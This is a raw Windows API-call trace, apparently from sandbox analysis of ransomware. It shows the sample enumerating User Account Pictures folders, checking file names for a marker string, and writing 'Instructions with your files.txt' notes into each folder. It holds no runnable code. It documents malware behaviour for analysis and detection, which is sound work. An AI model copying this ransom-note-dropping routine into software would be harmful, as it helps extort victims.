[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile22.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile23.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile24.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile25.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile26.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile27.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile28.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile29.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile30.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile31.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile32.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile33.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile34.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile35.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile36.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile37.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile38.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile39.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.675] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1
[0123.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned 82
[0123.675] StrStrIW (lpFirst="usertile40.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.676] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1
[0123.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned 82
[0123.676] StrStrIW (lpFirst="usertile41.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.676] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1
[0123.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned 82
[0123.676] StrStrIW (lpFirst="usertile42.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.676] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1
[0123.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned 82
[0123.676] StrStrIW (lpFirst="usertile43.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.676] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1
[0123.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned 82
[0123.676] StrStrIW (lpFirst="usertile44.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.676] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0
[0123.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\Instructions with your files.txt") returned 100
[0123.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0123.681] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0123.682] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0123.682] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0123.683] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0123.683] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0123.683] CloseHandle (hObject=0x110) returned 1
[0123.683] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0123.683] GetProcessHeap () returned 0x810000
[0123.683] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0123.683] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1
[0123.683] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 60
[0123.683] StrStrIW (lpFirst="guest.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.683] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1
[0123.683] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 59
[0123.683] StrStrIW (lpFirst="user.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.683] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0
[0123.683] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Instructions with your files.txt") returned 83
[0123.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0123.686] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0123.686] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0123.687] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0123.687] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0123.687] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0123.687] CloseHandle (hObject=0x10c) returned 1
[0123.687] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0123.687] GetProcessHeap () returned 0x810000
[0123.687] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
